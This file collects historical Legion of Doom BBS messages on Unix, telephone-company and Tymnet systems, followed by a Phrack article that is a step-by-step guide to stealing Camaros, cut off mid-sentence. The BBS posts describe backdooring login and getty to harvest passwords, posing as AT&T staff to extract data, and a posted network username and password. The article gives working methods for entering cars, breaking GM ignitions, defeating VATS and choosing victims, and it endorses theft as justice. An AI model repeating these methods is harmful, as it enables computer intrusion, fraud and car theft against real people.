(Look at me grovel before one of the two HP experts I've ever seen...pathetic,
isn't it?)
Wiz, no offense intended towards your adopted O.S.
->ME
*** {UNIX Sub-Board} ***
60/69: both ways
Name: Corrupt #114
Date: Mon Feb 05 05:08:25 1990
nice trojans
------------
good security
this works both ways....look-out for unixes(and VMS sites) that keep another
copy of /etc/passwd (or sysuaf.dat) and everynite rewrite it over the one
used for login(some any mods are discovered)..u can alternatly install some
security inside likethis for yourself...(hide it in CROn) (or wherever u want
on vms:-)) undersytand? I know I'm not clear:-((
but thats works for you sometimes and it'S simple if you know script:-)
anyone here into Rapid Fire hacking?
*** {Electronic Banking Sub-Board} ***
12/32: Treason & Government Smegma...
Name: Erik Bloodaxe #2
Date: Fri Jan 19 02:06:13 1990
It's the Major SS buzzword these days.
Treason. If someone is poking around in ANY system they feel is
sensitive (although they leave sysdiag unpassworded, or lp password lp, etc..)
they will then label you as:
"A Serious Threat to National Security!"
Give me a break. Hell, I think my association with Par & Phoenix alone
is enough to get me the firing squad. I haven't even done anything,
but it seems that everything bad that's happened I keep getting
brought up, as I know such and such, or I somehow know EVERYTHING about
how such and such happened.
Well, I've tried my best to be good, and stay out of government things,
military things, etc... I've even edited out the "sensitive" things I've
run across in the Telenet scanning just for their sense of well being,
but if I begin to feel threatened, it's all going out. Unabridged.
We will see...I'm already getting nervous...the feds are already pissed
that LOD is still kicking, and this bbs must have SLAMMED it into their
faces. And I know that the EFT files must have pissed them off as
well, although that may or may not have anything to do with
this bbs suddenly going back up.
Well, I'm not a threat to ANYTHING, except myself maybe. Anyone who
knows me knows that. Back me up people. This is my public announcement
of not-guilty to any and all crimes against the Security of the United
States. So what if I was scanning 2502 a while back? Anyone ever think
that it would be in THE INTEREST OF NATIONAL SECURITY to hop into a
Soviet system? I thought it would.
Par knows what I mean. Hell, The government now seems to think he's a spy,
and wants to shoot him. Killing Teenagers for fun is not my idea of
constructive problem solving guys. Take an extended course in the
ways of the hacker. That education might do you all a world of good.
You may even pick up something you missed in your little weekend getaway
training seminar in fighting computer crime. When you come and kick in my
door, (don't step on the cat), and if you don't blow me away first,
maybe I can educate you all a little better on what is REALLY GOING ON!
(This message posted for the Secret Service & CERT, et al. whomever is
posing on here, or reading this via Mentor's & My own Data Taps)
->ME
*** {Phone Co. Computers Sub-Board} ***
3/46: LMOS
Name: Acid Phreak #8
Date: Tue Jan 09 17:56:23 1990
The most recent LMOS interlude was one in my local area. Got the host
processor (an IBM 3270) off Predictor. Overall, a very handy tool to add to
your telco 'collectables'. The FE's of course were PDP 11/70s using MLT for
reference.
Aw thit.. lookit all dem Hicaps.
--ap
(advanced phreaking)
6/46: ICRIS
Name: Phiber Optik #6
Date: Wed Jan 10 16:37:27 1990
Not to nitpick, but an LMOS CP is an IBM S370 (3270 is an SNA, used to get to
BANCS through LOMS for instance).
CRIS, as mentioned, the Customer Record Information System is a dandy little
IBM system whose main purpose is to house customer records. There are a small
handful of "CRIS" systems, like LCRIS (Local), and ICRIS (Integrated, which
should be noted is used by the Residential Service Center). Here in NYNEX, the
only way to reach these systems (we obviously aren't hardwired hackers) is
through BANCS, a bisync network. BANCS is not direct dialable, but IS
available through a 3270 link on the LOMS system, used by LDMC (LAC or FACS,
depending where you live). And LOMS IS accessible. A host of systems are also
available through FACS (which can be reached through LOMS on BANCS) such as
CIMAP, LMOS, SOP, TIRKS, the COSMOS-PREMISE interface, etc. So as you can see,
rather than going after any specific system, going after the RIGHT system will
pay off greatly (LOMS in this example). Oh, waitta-minnit, those mentioned
systems are off of BANCS, sorry. You can reach FACS on BANCS, and access a
couple 'o things like some of those mentioned, COSMOS (certain wire centers
only), etc. OK, enough rambling. Let's hear someone else's input.
Phiber Optik
Legion Of Doom!
$LOD$
____________________________________________________________________________
*** {The Twilight Zone BBS (203), Sysop: The Marauder} ***
*** {NOTE: All messages from 1985 unless stated otherwise} ***
[MSG #12 OF 22]: INWATS & X-LATIONS
FROM: THE MARAUDER
DATE: MAY 08 {1985}
Under CCIS, INWATS (800's) are handled completely different from the older
method (the old method i don't completely uderstand, but it translated
somehow based on it's own prefix & suffix). under ccis on the other hand,
inwats #'s are handled in the following manner: when the 800 number reaches
your toll office, a query is made to the 'INWATS DATABASE', (the master
database being at the KC RNOCS I believe), i believe each RNOC (regional
network operations center, of wich there are 12, one for each region), has
their own database (which is updated on a regular basis). a query is made
(via a CCIS link) to the inwat's database, and a POTS (plain old telephone
service, just a plain 10 digit ddd telephone number, ie: npa+pre+suffix), and
the POTS number is pulsed out from the toll center and your call is completed
just like a normal ddd (direct distance dialing) call, talthough it was noted
that the call was an 800 at the origination (your) toll office, so and you
are not charged foor the call.. with this in mind, it's a simple matter for
the inwat's database that handles your reigon to return a translation that
differs from another reigons translation, for example say fred phreak in
new jersey places a call to LDX extender service at 800-XXX-3333, upon
reaching his toll center, the toll center quereys the inwat's database that
handles new jersey, and a POTS translation is returned which for obvious
reasons would be the closest port to him, so let's say the translation was
(201)-XXX-4455, the toll office upon recieving this would proceed to complete
the call, and fred phreak would be connected to LDX at (201)-XXX-4455..
continued next..
<1-22, ^12> [?/HELP]:
[MSG #13 OF 22]: ABOVE CONT'D
FROM: THE MARAUDER
DATE: MAY 08
now, on the other hand let's say bill phreak in california calls the LDX
extender service at (800)-XXX-3333 (same number fred called from NJ), his
regions inwat's database may return a completely different POTS x-lation say
(213)-XXX-1119, again being ldx's closest port to bill phreaks toll center..
utilizing ccis, and inwat's databases, other clever things are possible for
example, as you all know ALLIANCE teleconfrencing is unavailable on
weekends, here's how that works: when you dial 0-700-XXX-1000, that number
is intercepted at TSPS and translated into a corresponding WAT'S number, for
this example, we'll say it translates to (800)-XXX-1003 (white plains), and
forwarded from tsps to a toll center, the toll center upon recieving the
800-XXX-1003, queries it's inwat's database and a POTS translation is
returned say 914-XXX-6677, which is the DN (Directory Number) for the
bridge-center. now on a weekend, the inwat's database, instead of returning
914-XXX-6677 may return 914-XXX-0077, which would terminate at a recording
saying alliance is not reachable on weekends.., that's why everyone is
alway's interested in the 'ALLIANCE TRANSLATIONS'. Because if you have the
x-lation you can simply use a blue box to route yourself directly to the
bridgecenter and bypass the whole tanslation procedure..
any questions, please post..
The
Marauder
Legion of Doom!
____________________________________________________________________________
*** {Black Ice Private (703) BBS Message Base Sample} ***
*** {Black Ice had a VERY restrictive user base as shown in the} ***
*** {included userlist. The quality of the messages was excellent} ***
%> Sub-board: Advanced Telecommunications
%> SubOp: ANI Failure
%> Messages: 100
%> Files: 0
%> Message: 32 of 100
%> Title: 800 xlations
%> When: 12/16/88 at 2:45 am
%> Left by: ANI Failure [SubOp] [Level: 8]
You can get them from a 4ess or some work centers like RNOC and RWC (good luck,
have a dialback).. Or from ONAC in Kansas City (816). The Operations Network
Adminstration Center is the focal point for 800 services in the AT&T network.
ONAC works in conjuction with the AT&T WATS centers (I think there are 3?) and
800 service co-ordinators to do operations, adminstration, and maintenance on
the 800 number network. You can reach the WATS centers phree of charge with a
959 plant test number in the correct NPAs (I know 914 has one). I think it was
959-5000 but that might be wrong.
The tech. term for an 800 xlation is a plant test number. This does not have to
be pots, but can be other system codes like 122, 195, 196, 123, etc. The only
type of 800 number that terminates in POTS is a READYLINE 800 number (AT&T). I
don't know about sprint, mci, etc. though. A good topic for investigation
though, thankx for the idea!
If you have access to a 4e (does anyone on her have this? If so I'll trade
anything I have for a 4e), you can type this in to translate a number:
well....i can't find the right notebook. it is somethink like:
TEST:DSIG;INWATS 800 nxx xxxx!
This does a Direct Signaling (DSIG) message into the 4E which commands the 4E
to pull the 800 internal number from the network control point (NCP) over CCIS
links. The 4E you are on must be included in the service area of that 800
number though, i.e. someone in the area served by that 4E would have to be able
to dial it in order for the 4E to have the xlation. So if the 4E is not in the
right area it will say 'NON SUBSCRIBED' or something of that nature. Oh, I just
remembered, there is an AT&T work group named DSAC (Direct Signaling Admin.
Center) that performs direct signaling messages into switches and things. If
you want the DSAC #, I can provide it..I don't think too many phreaks have
their number so they might be worth engineering.
Oh - the 800 xlation input message into the 4E was social engineered a long
time ago by The Marauder and Phucked Agent 04 from an RWC. But, thanks to a
fuck up by The Executioner and friends, the RWCs became very tight lipped...it
only takes 1 fuckup...
Um, I have gotten translations from the customer before, posing as AT&T and
giving them bs about 'MLT has found a potential trouble in your circuit' (haha)
and we need your translation number. I only did this once since I have never
had any major need to pull 800 xlations. But that will work in some cases if a
human answers. Or if you can get the terminating company name/location, you can
keep engineering and narrow down the locations of the xlation (say within their
centrex group or something) and then (ughh..dangerous and slow) scan for the
number, or do more engineering for it, etc...
There is an easier way to get 800 translations but I swore not to tell anyone
(that was the conditions of me getting the info) from a certain AT&T dept and a
certain support system...if you want a translation in an AT&T area I will try
to get it for you though....so leave mail or post and maybe I can help..
ANI-F
legion of 800 numberz
____________________________________________________________________________
*** {UNIX Sub-Board} ***
%> Sub-board: UNIX
%> SubOp: The Prophet
%> Messages: 99
%> Files: 1
%> Message: 5 of 99
%> Title: getty, login
%> When: 12/16/88 at 6:19 pm
%> Left by: The Urvile [Level: 8]
for getty, just check and see if the first entry is <something>, where that is
your back door, of sorts. the init program will have to be a bit (?) larger
than the original, considering that you'll have to put in the stuff to make it
set up your environment & exec /bin/sh.
login, on the other hand, can put a backdoor in the gpass() routine, which can
conveniently write the passwds to a file. not too useful to have lots of
passwds in an already backdoored system, you say? bull. there are lots of
southern bell systems i've gotten into by using the same passwds as the hacked
system. also, what if they remove the backdoor? too bad, it'll take you an
hour or so to put the source up & modify it again.
one thing that i've been thinking about: on a system, backdoor getty, login,
(for the reasons cited above), and something like 'date', to check 1) if root
is using the program, and 2) to see if your handy dandy login has been erased,
and put it back if 3) a day or so has elapsed from the last call of the 'date'.
well, i thought it was a good idea. much better than using cron & whatever to
put a username in the passwd file.
encryption on cosmos:
it's strange, to be sure. i tried putting a 404 cosmos passwd on your 602
cosmos. The user id's were different, the versions of cosmos were different, i
think, but the username was the same. has anyone ever seen ANY (no matter how
old) cosmos login source?
incidentally, is anyone doing anything on sbdn of late?
scanning for addresses is generally a bad idea.
*** {SPCS/OSS Information Sub-Board} ***
*** {Stored Program Control Systems / Operations Support Systems} ***
%> Sub-board: SPCS/OSS Information
%> SubOp: ANI Failure
%> Messages: 97
%> Files: 1
%> Message: 19 of 97
%> Title: DMS
%> When: 12/28/88 at 10:20 am
%> Left by: Epsilon [Level: 8]
I found out some things about DMS if anyone's interested. I only spent a
little while looking around, but I managed to figure out that the DMS does
indeed have a sort of tree structure. I haven't figured out the structure of
TABLES yet, but I kind of know how the rest works. Watch..
Ok, from the > you can enter tasks, (I prefer to call them toolboxes because
they're like little tools you can run to perform different things.) For
instance, you have one called LOGUTIL which is some sort of utility that keeps
tabs on various things, and you can view the logs kept. After you have entered
LOGUTIL, you can type LIST LOGUTIL and it'll spool out commands. You can also
type LIST LOGS to see a list of logs that are kept.
The next thing I was fooling with was SERVORD, which is obviously some type of
Service Order processing software. This toolbox is much friendlier, as it does
include the help command, and it provides help on the syntax of each command.
Unfortunately, it does not give each parameter for each command. I'm sure that
would take up quite a lot of space. I think you're going to need a manual to
really do anything cool with SERVORD, but hey..
Sorry if you people knew all of this already. I guess I'll keep posting about
it as I learn more.
Sheesh. Lame post.
Epsilon
____________________________________________________________________________
*** {Userlist as of Mid-May it seems} ***
%> Black Ice Private User List <%
Name Level Status Posts Last on
===============------------------=====------======-------=====-----=======--
System Operator 11 Sysop 33 5/16/89
The Mentor 11 Sysop 59 5/16/89
Epsilon 8 Charter 106 5/8/89
The Prophet 8 Charter 59 5/15/89
ANI Failure 8 Charter 220 5/6/89
The Urvile 8 Charter 71 5/4/89
Doc Cypher 8 Charter 56 5/13/89
Lex Luthor 8 Charter 21 5/10/89
The Leftist 8 Charter 20 5/14/89
Erik Bloodaxe 8 Charter 75 5/17/89
Empty Promise 8 Charter 16 5/5/89
Generic 1BED5 8 Charter 46 5/16/89
Skinny Puppy 8 Charter 93 4/23/89
Jester Sluggo 8 Charter 32 5/13/89
Red Eye 8 Charter 31 5/2/89
The Marauder 8 Charter 9 5/12/89
Ferrod Sensor 8 Charter 10 3/30/89
____________________________________________________________________________
*** {Tymnet (Packet Switching Network) Sub-Board} ***
%> Sub-board: Tymnet
%> SubOp: Lex Luthor
%> Messages: 48
%> Files: 0
%> Message: 36 of 48
%> Title: isis and elf
%> When: 3/25/89 at 12:37 am
%> Left by: Lex Luthor [Level: 8]
I believe ANI was correct about the acronym for ISIS.
Internally Switched Interface System
I think it is the go between from the engine to the node code. Kind of like
how assembly is the go between my apple and basic.
ELF - Engine Load Facility. This is a program that transfers and loads code
into a TYMNET Engine node.
ISIS has slots, in each slot a program (node code) can run. This node code
is different for different tasks.
I should clarify the above, only one 'application' ie: gateway, tymcom,
whatever, can run on isis, and usually is found on slot 0. But other programs
can be run on other slots. Programs that allow you to log into the slot and do
things. like DDT - Dynamic Debugging Tool.
All this and more will be explained in my upcoming (hopefully) file on Tymnet
called-- Anatomy of a Packet Switching Network: MDC's TYMNET.
inter-link cleared from VALTDNET (C) H9 N4067 to TYMNET (C) H5981 N7347
inter-link cleared from H1 N2010 TESTNET to H1 N2200 BUBBNET
inter-link cleared from TYMNET (F) H5277 N6420 to BUBBNET (F) H15 N2324
inter-link cleared from AKNET to TYMNET
inter-link cleared from TYMNET to AKNET
inter-link cleared from TRWNET to PUBLIC TYMNET
inter-link cleared from PUBLIC TYMNET to TRWNET
please log in: DECLOD
Password: DECLODH
Interlink established from TYMNET to TSN-NET
Please log in: Gomer T. Geekster
--Lex
%> Message: 44 of 48
%> Title: ontyme II
%> When: 4/4/89 at 1:15 am
%> Left by: Lex Luthor [Level: 8]
The system used for setting up the DECLOD acct was TYMVALIDATE which isn't
exactly the same as NETVAL but close.
Be careful with ONTYME II, since it automatically updates ALL files you read.
So if you read some files in that persons' personal directory, they can see
that either someone has their acct/pass or someone is using IMITATE and reading
their stuff. Me and Skinny Puppy are working on a way to defeat this....
Lex
%> Message: 47 of 48
%> Title: INTL TYMNET
%> When: 4/21/89 at 1:17 pm
%> Left by: Skinny Puppy [Level: 8]
International Tymnet - how many of you have seen tymnet claiming that it serves
over 65 countries, but don't really belive it? well, they do, sort of.
There is a tymnet-europe called Mcdonnell Douglas Information Systems (MDIS).
While I don't have any dialups for it, I have X.121 addresses in France and
BeNeLuxKG. once you get there, you can type HELP and glean alot of what is
going on. The interesting thing is that a lot of things that say ACCESS NOT
PERMITTED from regular tymnet are actually european addresses and can be used
on MDIS. for instance, ROMA (Italian for ROME), ESAIRS, and EURONET (which is a
host selector for american public timesharing systems). While there doesn't
seem to be a lot of european hosts, I am sure that if everyone on here pulled
up all their old tymnet-hack sheets where they had things listed as ANP (My
abbreviated for ACCESS NOT PERMITTED) and tried a few we could find something
new. Right now, I will only give out my French MDIS gateway - It is
208092020029. Figure out how to get there yourself. If you DO find anything
interesting, leave me mail, and we can trade. I already have some internal MDIS
systems there, if I can just figure out how to use them.
Coming Soon to a Board not so near to you: NISNET (tymnet-japan) and the
Carribean tymnets. Until then, ASSIMILATE
Skinny Puppy 21 april 1989
_____________________________________________________________________________
%> Sub-board: Vocal Hacking
%> SubOp: ANI Failure
%> Messages: 45
%> Files: 0
%> Message: 3 of 45
%> Title: Operator engineering
%> When: 12/6/88 at 12:43 am
%> Left by: Ferrod Sensor [Level: 8]
To answer ANIF's question, I have been doing some TSPS/TOPS engineering lately
for a variety of purposes, one of which is a bit far fetched but has
possibilities. I am trying to find a way to possibly freeze an operator
console (the method I am trying is actually simpler than it sounds). It
involves getting the op to connect to a short circuite test code, either by ACS
(key) or by OGT (outgoing trunk) outpulsing sequence. There area a few flaws in
this though, the main one being the more than likely possibility of the Op
simply releasing the console position (even though the short circuit, when
dialed, cannot be hang up on, the caller must wait for it to time out (about
three minutes or so).If this was the case, then the result could be the
Operator having an inaccessible outgoing line for a short period of time, which
wouldn't affect much with the actuall console..The things I tried recently with
this didn't result in much, but if I take into account TOPS/TSPS RTA (Remote
Trunking Arrangements) setups (where a caller from one area code, with a 0+ or
0- call, may be connected to an operator in a site in a different NPA. Test
codes are different, even in exchanges, so an operator site in a diffeerent NPA
wouldn't be affected the same with a different code.
The overall purpose to this would be to create a certain condition with the
operator network that could be used to gain information when investigated, say
by someone from Mtce. engineering or theTOPS/TSPS SCC or equivalents. There are
other ways to start an engineer of course, but this is just something that's
concrete (meaning you could get people to fish around for info a bit easier
than coming in for a random request.
This is getting a bit long. I'lll post more later about Operator engineering,
something more immediately practical next time. The board looks promising.
Ferrod/LOD
______________________________________________________________________________
LOD Communications: Leaders in Engineering, Social and Otherwise ;)
Email: lodcom@mindvox.phantom.com
Voice Mail: 512-448-5098
Snail Mail: LOD Communications
603 W. 13th
Suite 1A-278
Austin, Texas USA 78701
______________________________________________________________________________
End Sample H/P BBS Messages File
LOD Communications: Leaders in Engineering, Social and Otherwise ;)
Email: lodcom@mindvox.phantom.com
Voice Mail: 512-448-5098
Snail Mail: LOD Communications
603 W. 13th
Suite 1A-278
Austin, Texas USA 78701
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 20 of 27
[** NOTE: The following file is presented for informational purposes
only. Phrack Magazine takes no responsibility for anyone
attempting the actions described within. **]
-----------------------------------------------------------------------------
The Step-by-Step Guide
to
Stealing a Camaro
by
Spy Ace
spyace@mindvox.phantom.com
PURPOSE: To describe step-by-step, with specificity, exactly how
the average person might accomplish with skill and alacrity, the
theft of a motor vehicle, particularly 1982-1993 Chevrolet Camaros,
Pontiac Firebirds and similar beasts.
MOTIVE: While I am a telecommunications enthusiast, I am also a
basically honest, law-abiding working man. In 1989 an individual
driving a borrowed automobile struck my only means of transportation,
a 1986 Chevrolet Camaro, totalling it. My vehicle was parked and
unoccupied at the time. In an amazing feat of legal maneuvering,
and after protracted judicial proceedings, all parties involved
managed to escape liability and I was left without a car or
reimbursement. The insurance companies are lying, cheating scum.
As a result, I took matters into my own hands and stole a
replacement car. I came to the conclusion that the justice system
in this country exists only to protect the strong from the weak,
the haves from the have-nots and the rich from the not rich. It
has nothing to do with rectifying wrongs. It is therefore incumbent
upon all aggrieved parties to seek personal satisfaction when the
American legal system fails to provide it. My motive is thus
twofold:
1. To see the evil insurance companies screwed some more by
sharing my knowledge of car-thieving techniques with those
who might apply them.
2. To assist the little man in obtaining justice when he/she may
by confronted with a situation similar to mine.
BACKGROUND: Before I stole my car, I conducted extensive research
and talked to a number of individuals in the automotive
repossession field, law-enforcement, and several auto
mechanics. I assure the reader that everything
contained in this file is true to the best of my
knowledge and that I HAVE ACTUALLY DONE WHAT I AM
WRITING ABOUT. I am not writing hypothetically; I
speak from experience. I urge the reader, if he is
serious about stealing a vehicle, to verify my
research and find out much of this information for
himself. Auto shops at local high schools/community
colleges are excellent places to experiment and
learn, and auto repossession specialists are invaluable
sources of information.
------
So, you've decided to steal a car. How nice. In this article I
will be covering in detail exactly how I stole a 1988 Chevrolet
Camaro to replace the 1986 of mine that was destroyed by an
irresponsible driver. The techniques described herein will work on
1982 thru 1993 Chevy Camaros/Z28s/IROCs/Berlinettas and probably
the same years Pontiac Firebirds and Trans Ams. With regard to
the Pontiacs I cannot say for certain because I only experimented
on Camaro variety cars since that is what I was after. The Pontiacs
are very similar, however, and I believe this information to be
applicable to them.
There are basically only two stages to obtaining possession of a
vehicle. First, one must gain actual physical access to the inside
of the car and second, one must disable the steering-lock mechanism
and activate the ignition. Once these two things have been
accomplished, the vehicle is yours, subject to the infuriated
efforts of the owner to regain it. It should be noted, of course,
that there may be complications associated with either of these
steps, such as alarm systems or the factory anti-theft mechanisms.
I will deal with both of these in turn.
First, gaining entrance to the vehicle. This will require one
tool: a 24-inch aluminum "shop" ruler. I tried several and settled
on the Pickett brand ACF-24, available in most art/blueprint supply
stores. It consists of a 1.25x24x1/16 inch piece of aluminum. For
maximum efficiency, it should have two slight bends to it. First,
at 14 inches, bend it subtly to about 15 degrees. Then, at 19
inches on the ruler, bend it back so that the two sections are
parallel. Like this:
N
_________________ W + E
\_______ S
Of course, the angle in this diagram is far too steep. Both angles
should only be about 15 degrees. Hopefully, you get the idea. If
not, you probably shouldn't be thinking about stealing a car. In
any case, if you have succeeded in fashioning this, you are now
armed with the only tool necessary to gain keyless entry into your
soon-to-be new Camaro. The application of this tool is simple.
Walk up to a Chevrolet Camaro of a year described above, position
yourself at either door. FIRST: Check to see if the door is
unlocked. You'd be surprised. If it isn't, you will need to insert
the tool straight down, in between the rubber weather-stripping and
the glass, approximately 4-5 inches from the back of the door,
directly in line with the door-lock. Insert the tool such that the
small section (see above diagram) is thrust down into the door (did
I mention that stealing a car is very sexual? Never mind...). The
small section of the tool should be bent TOWARDS you as you stand
at the car. In the above diagram, north is towards the car, west is
straight up in the air, east is straight down towards the inside of
the door, and south is towards you as you stand at the car. Got the
picture? If not, get a friend to explain it to you.
The tool should go in about 16 inches until it catches the lock
mechanism. If it goes in further than about 17 inches, withdraw and
try again. Drive straight down, don't force, try moving your
position an inch to the right or left. Eventually you will feel
the lock mechanism. It will be rigid but a little spongy (epitome
of GM engineering). Press down hard on the tool and let up. Try
the door handle. Does it open? It probably will. If not, drive a
little harder and keep trying the door. It will give eventually.
WHY THIS WORKS: Well, this works for two reasons. First of all,
General Motors is run by a bunch of cheap bastards and their
cars are designed by engineers who couldn't find their asses with
both hands. Basically, it's a shitty lock mechanism. It was
designed shitty and the clods who sell us the piece-of-shit cars
couldn't care less if they get stolen so they've never bothered to
redesign the damn thing.
In order to understand exactly why it works, the curious reader
would be well advised to go to his local library and look in a
Clymer or Chilton automotive repair manual for 1986 (or thereabouts)
Camaro. In Chapter 12 of the Chilton, under "Body" (page
290 of mine) there is a magnificently concise exploded diagram of
"Outside door lock assembly" which contains all the relevant
information. The lock cylinder itself is connected to some linkage
which activates the locking/unlocking mechanism. After a few
months of normal use, this linkage develops some "slop" in it due
to slight wear of the locking cylinder attachment. By pressing
down on the linkage down inside the door, you are activating the
(un)locking mechanism directly and there is enough play in the
locking cylinder to allow it to give. Take a look at the diagram
and you'll understand completely.
Once I understood the locking mechanism, the deficiencies
therein, and formulated an approach to overcoming it, I
practiced on a friend's Camaro about a hundred times. If done
properly and carefully, this will in no way harm any part of
the car or locking mechanism. Try it on the driver's side
first; this is usually the easiest because it has the most wear
in the linkage. Then graduate to the passenger side door. Then
try it out about a hundred times, then with your eyes closed,
then while drunk, then with one hand tied behind your back. In
a day or two you'll be able to get into a Camaro in less than
ten seconds.
A note about alarms: some clever individuals, in an effort to
keep their prized vehicles from being stolen by the likes of you,
have equipped them with a motion sensor or other devious device
which tends to emit a shrill series of tones when aggravated. I
suggest that before trying to open someone else's car, you first
give it a good rocking back and forth in order to set off any
alarm which might be present. Since it is not illegal (though it
may be physically dangerous) to rock someone's car, it's always
best to try this before actually breaking in. If the alarm
screams, go on to some other victim. Personally, I have
encountered very few alarms; the "it won't happen to me" attitude
is still prevalent.
Once you've gained physical entry into the vehicle, you are
now ready for Step Two, ignition lock bypass. Unfortunately, this
is a difficult step. I did a tremendous amount of research to
determine the best way to deal with this problem and have
developed an approach. It is by no means the only way to breach
the ignition locking mechanism, but in my opinion it is the
best. In developing this method I was most interested in several
goals. First of all, I wanted an elegant solution; that is,
something simple. Minimum tools and work required, and something
that worked ALL THE TIME, not 50%. Second, I wanted an approach
that could be accomplished quickly (for obvious reasons) and with
minimum damage to the vehicle. Ideally, I wanted an attack which
would not even be immediately obvious to someone (such as a cop)
glancing in my car at a stoplight. Spending 30 minutes tearing
apart the steering column might allow you to get the car started,
but it won't meet the above criteria: speed, elegance, reliability,
invisibility.
The problem is that to do this requires a special tool and to
get this tool one must either send away for it or have access to
a machine shop to fabricate one. Neither of these is quick and
easy, but the preparation is well worth it. Here's the basic
idea. The General Motors vehicle uses an ignition locking
mechanism called a "sidebar." This is basically one nasty piece
of hardened fucking steel which blocks the lock cylinder from
rotating when a properly-fitting key is not in place. It makes
it impossible to simply "shear off the pins" by brute-force
turning with a screwdriver or similar device. The solution is to
use a tool capable of cracking the lock cylinder housing in which
the sidebar sits. The cylinder housing itself is cast aluminum,
which is considerably weaker than the sidebar itself, so when the
proper force is applied it will be the housing which gives, not
the sidebar. But no matter.
First, get access to a Camaro, or for this exercise, just about
any GM automobile since 1978 (the year they got the bright idea
to put a locking screw in to keep people from just ripping the
whole ignition lockset right out -- but that's a whole different
story...). My favorite place to experiment on cars without being
observed (and in fact legally) is to go to a local self-serve
auto-wrecking "You Pull It" yard. They have these in many cities
around the fruited plains; you pay a buck or two to get in and then
go pluck parts from rotting American classics. If you don't drag
any parts out, you can basically tear apart all the cars you want
for a buck. If you don't have a You-Pluck-It nearby or are
philosophically opposed to vehicular cannibalism, then use the
method previously described to break into someone's Camaro for this.
Once you have access to a GM (preferably a Camaro), get a
screwdriver out and pry the outer ring off of the ignition set.
The ring I'm talking about is the thing with the two tabs on it
for your fingers to turn when you rotate the ignition to start
the car. Just pry that sucker off of there -- it comes off very
easily as it is affixed by two small gripping tabs. I can usually
remove it by hand, but it's easiest to simply pry gently with a
screwdriver. After you have pried that off of the ignition set,
take a look. You'll see the ignition cylinder (with the keyway),
the outer housing, and the actual ignition activation mechanism,
which has two slots in it (where the outer ring fit into before
you pried it off). This ignition linkage, with the two tabs, is
what turns when a fitting key is inserted into the keyway and then
turned. Note that in a GM ignition set, a fitting key serves only
to withdraw the sidebar to allow the outer ignition mechanism to
turn.
The problem is to overcome the sidebar which prevents the
ignition from turning. Fortunately, there is a tool for this very
purpose. It is manufactured by Briggs and Stratton (yes, the lawn
mower engine people) who happen to also make the locksets for GM.
They make the locks. They make the tool to break the locks. You
figure it out. Anyway, this neat little device is called a "GM
Force Tool". I got mine from LDM Enterprises in Van Nuys, California
(where else?) and it ran me about $90. Their fone number is
800-451-5950 and you should probably tell them that you're in the
automotive repossession business if you go to order one of these.
If they won't sell you one (because someone at GM read this
article and hopped up and down) then simply go down to a local
repo man and pay him an extra $25 to order one for you. Most of
those guys are pretty sleazy and will do just about anything for
a buck. If you have access to a machine shop and are reasonably
competent, go ahead and make one.
I will attempt a description. Don't feel stupid if you don't
get this; it's difficult to describe it in text. Drop me E-mail
and I'll send you a .GIF of the fucking thing. Anyway, it looks
basically like a socket with very thin walls and two small tabs
which fit into where the thumb-ring-thing used to go. You tap it
onto the ignition set, into the two slots and the outside walls
of the tool fit very snugly around the outside of the locking
mechanism to keep it from splitting apart as you turn it. On the
other end of the tool is a 1/2 inch square hole for a ratchet.
Got the idea? Tap it onto the ignition, attach a healthy sized
ratchet and turn slowly but forcefully. After about 30 degrees of
turn the sidebar will crack the ignition lock housing and the
whole mechanism will freely turn. If you don't understand this,
take a look at a GM ignition (sans outer ring) and the facts will
become readily apparent. If you have access to a machine shop, it
is a simple matter to make one of these tools. Go to your local
GM dealer and buy a whole ignition set, snap the outer ring off of
there and take your measurements. Remember that the inner wall of
the force tool must fit snugly around the lockset in order to keep
it from splitting apart. That is why a device with simply two tabs
which fit into the ignition linkage will not work (I tried it --
the metal is too soft and tears apart).
Seem like too much work? Well, of course it is a bit of work,
but preparation is the key! My father always stressed that the
most important part of doing a job is having the right tools. The
tools in this case are KNOWLEDGE of how all these goofy parts fit
together and operate, a properly constructed force tool, and the
patience to apply these two components to bring about the desired
result. With some practice I was able to circumvent a Camaro
ignition in just under 30 seconds. It does very little actual
damage to the vehicle ($11.00 for a new ignition set) and in fact
the thumb-ring-thing can be jammed back on and a key inserted and
it will appear that everything is proper (in case you're pulled
over by the local constable).
V.A.T.S.
--------
Because of the horrendous problems with car theft, particularly of
Camaros, GM came up with a neat system boldly dubbed the "Vehicle
Anti Theft System". Needless to say, as with most security devices,
VATS accomplished little more than being a nuisance to vehicle owners
and a minor inconvenience to car thieves. Here's how to defeat it.
First, basic theory of operation. The ignition of a VATS equipped
vehicle (most 1988 and newer GMs, particularly the Camaros/Firebirds)
is the same as the normal GM ignition except that it has an
electronic sensor built in which requires activation by a resistor
pack built in to the owner's key. There are fifteen possible resistor
types, so each different VATS key that you have gives you a 6.7%
chance of being capable of activating the ignition. The catch is that
if you feed it the wrong one it will kill the ignition for 4 minutes.
Thus, if you had a complete set of fifteen VATS keys, it would take
you a maximum of one hour to run through them all. This is GM's
idea of security: annoy the thief.
If you plan to tackle a VATS-equipped car, get a full set of the
fifteen VATS keys. They're a few bucks each and you can get them
from a locksmith or LDM. Obtain access to your target car in an
area and in such circumstances as will allow you to work for an
hour relatively undisturbed. In practice, this is not very difficult
(more on that later). Once you have access to the vehicle and are
satisfied that you can work unobserved, break the ignition lock
using your force-tool as described above. Insert your first VATS
key blank and attempt to start the vehicle. If it will not activate
the ignition, remove the key, wait four minutes and try the next
one. Eventually you'll hit it. (Median hit time, of course: 30
minutes). Drive away.
Scouting a Victim
-----------------
An essential element of stealing a car without getting caught
is picking out the right one. Again, preparation is the key. Once
you've mastered the necessary techniques, start looking around for
a good place to pick up a vehicle. The car thieves that I spoke
with told me that their preferred places are mall parking lots at
night: there is a lot of activity so you probably won't be noticed
lurking around waiting for a good prospect to show up. People
usually go into the mall for several hours to buy crap, so you have
time to work. Wait until no one is looking and pounce. Once you are
inside the vehicle (which, with practice, may be accomplished in
15 seconds) you are home free. No one is going to pay any attention
to you screwing around inside the vehicle and you'll be long gone
by the time the owner finishes charging a new Salad Shooter on his
American Express. Another good place is airport parking lots. While
they are often sporadically patrolled, it is in practice a simple
matter to drive around until you spy the right vehicle, then pack
all your necessary tools into a suitcase and walk from the terminal
to the lot like a returning airline passenger. That's how I did it.
The car was not reported stolen for over two weeks (it was in the
long-term lot), giving me plenty of breathing room.
There are numerous other places. Start noting the places that
you leave your car: supermarket, movie theater, in front of your
house, at work, in a parking garage, etc. Start noticing patterns.
That 1988 IROC you see parked in the same place for five hours
